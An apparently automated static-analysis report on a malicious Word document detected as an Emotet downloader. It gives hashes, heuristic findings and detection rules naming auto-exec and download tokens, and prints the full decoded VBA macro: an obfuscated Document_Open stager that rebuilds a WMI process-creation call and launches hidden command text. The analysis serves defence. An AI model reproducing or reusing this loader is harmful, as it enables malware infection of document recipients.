Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3f629a6878b4ff43…

MALICIOUS

Office (OLE)

171.9 KB Created: 2020-07-29 10:28:00 Authoring application: Microsoft Office Word First seen: 2021-02-18
MD5: fc9706caaab010e63e1ed6e18d5081a1 SHA-1: a198f23206725e8274d570dac65e2925fb22e235 SHA-256: 3f629a6878b4ff4383a80723718f32ed1ab5e210433db014412cc12d5d1cdf3d
230 Risk Score

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-9393264-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-9393264-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
    Matched line in script
    EHBQEenxcwwcpc = Split _
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set RJKQSpeqepmo = CreateObject(JGGKGmyafmcqsabv)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Document_open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5049 bytes
SHA-256: e3af98a05310c1a71cd8c2b4dfcc1288a2609ab5c4f0a6a41918ab8b97b051cc
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "IKIUWnlxvfvvd"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
QYCIAonfqhvxhjy.NRNVMuftcmioc
End Sub


Attribute VB_Name = "QYCIAonfqhvxhjy"
Attribute VB_Base = "0{69A02F17-9789-45B5-B9A6-22399CCEE3E5}{6A7C05DD-75BF-4FBC-BE0B-5B47C94574EF}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function NRNVMuftcmioc()
Dim RGEuulBI As String
RGEuulBI = Replace$("UvTejcif1ÅL", "UvTejc", "yBDJZhNWEb")
Dim CSKo As Integer
CSKo = 7
Do While CSKo < 7 + 9
CSKo = CSKo + 1: DoEvents
Loop
Dim Yto7ÇKQRXoy As Integer
Yto7ÇKQRXoy = 3
Do While Yto7ÇKQRXoy < 3 + 6
Yto7ÇKQRXoy = Yto7ÇKQRXoy + 7: DoEvents
Loop
UEJVDzxvddiptufamc = Chr(QYCIAonfqhvxhjy.Zoom + ((40 + 40 + 40) / 8))
Dim awg3ÎQMPteq As Integer
awg3ÎQMPteq = 8
Do While awg3ÎQMPteq < 8 + 3
awg3ÎQMPteq = awg3ÎQMPteq + 9: DoEvents
Loop
RMQJKyclzmwhzzpdvt = "99939nu7*9((()0hsbuguIGv22bja99939nu7*9((()0hsbuguIGv22bjaw99939nu7*9((()0hsbuguIGv22bjai99939nu7*9((()0hsbuguIGv22bjanm99939nu7*9((()0hsbuguIGv22bja99939nu7*9((()0hsbuguIGv22bjagm99939nu7*9((()0hsbuguIGv22bjat99939nu7*9((()0hsbuguIGv22bja99939nu7*9((()0hsbuguIGv22bja" + UEJVDzxvddiptufamc + "99939nu7*9((()0hsbuguIGv22bja99939nu7*9((()0hsbuguIGv22bja:99939nu7*9((()0hsbuguIGv22bjaw99939nu7*9((()0hsbuguIGv22bjain99939nu7*9((()0hsbuguIGv22bja99939nu7*9((()0hsbuguIGv22bja399939nu7*9((()0hsbuguIGv22bja299939nu7*9((()0hsbuguIGv22bja_99939nu7*9((()0hsbuguIGv22bja" + QYCIAonfqhvxhjy.OPCRHkcnbzujmfjhgl + "99939nu7*9((()0hsbuguIGv22bjaro99939nu7*9((()0hsbuguIGv22bja99939nu7*9((()0hsbuguIGv22bjace99939nu7*9((()0hsbuguIGv22bjas99939nu7*9((()0hsbuguIGv22bjas99939nu7*9((()0hsbuguIGv22bja"
wbNZsnpFoA = 8
Do While wbNZsnpFoA < 8 + 2
wbNZsnpFoA = wbNZsnpFoA + 3: DoEvents
Loop
JGGKGmyafmcqsabv = NFSVRbvechtoppuvp(RMQJKyclzmwhzzpdvt)
Dim gcfKyIb4ÜjC As Integer
gcfKyIb4ÜjC = 5
Do While gcfKyIb4ÜjC < 5 + 5
gcfKyIb4ÜjC = gcfKyIb4ÜjC + 7: DoEvents
Loop
Set RJKQSpeqepmo = CreateObject(JGGKGmyafmcqsabv)
Dim lVK As String
lVK = Replace$("O7qGEsVF", "O7qG", "HfNmk2Ïy")
ZDXRHeupdoulnxs = QYCIAonfqhvxhjy.GNCHBqycqsld.ControlTipText
iiv = 7
Do While iiv < 7 + 4
iiv = iiv + 5: DoEvents
Loop
PLZRUpwwxmqcdcg = IJK + (JGGKGmyafmcqsabv + UEJVDzxvddiptufamc + QYCIAonfqhvxhjy.BDCVPpscfnbbhvwaby.ControlTipText) + ZDXRHeupdoulnxs
Dim QH4Ý As String
QH4Ý = Replace$("tBTpXheeAy", "tBTpXhe", "RRWXeuD")
HLFPBjggicpjrrq = PLZRUpwwxmqcdcg + QYCIAonfqhvxhjy.OPCRHkcnbzujmfjhgl
Dim SqQW3Òwd As String
SqQW3Òwd = Replace$("chaNol6ÆmYk1ÓFMeC", "chaNo", "PJy4È")
Set CFZZImuyzzkfvsfwxig = SJSFCyprineucaevkp(HLFPBjggicpjrrq)
Dim hipGOtD As Integer
hipGOtD = 9
Do While hipGOtD < 9 + 7
hipGOtD = hipGOtD + 9: DoEvents
Loop
cde = Array("ewwdas", RJKQSpeqepmo. _
Create(XDRYCbtjwwtoqa, WXPKJdonkhtkzhqslj, CFZZImuyzzkfvsfwxig), "sd")
Dim F3ÊHYfL As String
F3ÊHYfL = Replace$("e8ÝIhfUTun0ËW", "e8ÝIhfUTu", "Ce2ÖRb")
End Function
Function SJSFCyprineucaevkp(CPKICbxlspmqbe)
Set SJSFCyprineucaevkp = CreateObject(CPKICbxlspmqbe)
Dim nqVHT6ÒGOtD As String
nqVHT6ÒGOtD = Replace$("wqd7É7àZD7×wqRgQ5ÕJ", "wqd7É7àZD7×wq", "MZuEIlX")
SJSFCyprineucaevkp.showwindow = (RTQLOckswympkzb + SPHZCeepbhssjb) + (QSHKBglahylsoyrjlx + XDEKJmpbjhjr)
Dim KKQRX7Õ As Integer
KKQRX7Õ = 9
Do While KKQRX7Õ < 9 + 3
KKQRX7Õ = KKQRX7Õ + 6: DoEvents
Loop
End Function
Function NFSVRbvechtoppuvp(FLLKQimozxtjshynk)
KOIJTpdgxygxakek = FLLKQimozxtjshynk
Dim A1ålOTAY1Î As String
A1ålOTAY1Î = Replace$("eFEttRlffLUCaI", "eFEttRlf", "pLU4ÎJBQ")
EHBQEenxcwwcpc = Split _
(KOIJTpdgxygxakek, "99939nu7*9((()0hsbuguIGv22bja")
gDkuq = 4
Do While gDkuq < 4 + 4
gDkuq = gDkuq + 8: DoEvents
Loop
ZVKGUhrkirvctnsohvx = fder + Join(EHBQEenxcwwcpc, bzder)
Dim pCI As String
pCI = Replace$("I3ØDOgMSPqulKjpkmPl", "I3ØDOgMSPq", "m2ÏgI")
NFSVRbvechtoppuvp = ZVKGUhrkirvctnsohvx
Dim Eu8E As String
Eu8E = Replace$("TejcP7ÙHGyym1ÆZhNWE", "TejcP7ÙHGyy", "KwLtp")
End Function
Function XDRYCbtjwwtoqa()
cv = QYCIAonfqhvxhjy.SSMEAokczgwtfvyey.Pages(11 / 11).ControlTipText
Dim f8XW2ÃqDWRF As String
f8XW2ÃqDWRF = Replace$("QmUraAw4ÄJnTiarQ", "QmUraAw4ÄJn", "oVtcCe7Ô2à")
XDRYCbtjwwtoqa = NFSVRbvechtoppuvp(cv)
Dim TnhW As String
TnhW = Replace$("r2Ò7ÈEpkrIQyFlK", "r2Ò7ÈEp", "KjpkmPlyB")
End Function


Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{933B71C7-80D0-4490-A4C3-F688BA8CB4E9}{0FD1CF46-DF2A-4F84-90D8-A14C51289E85}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

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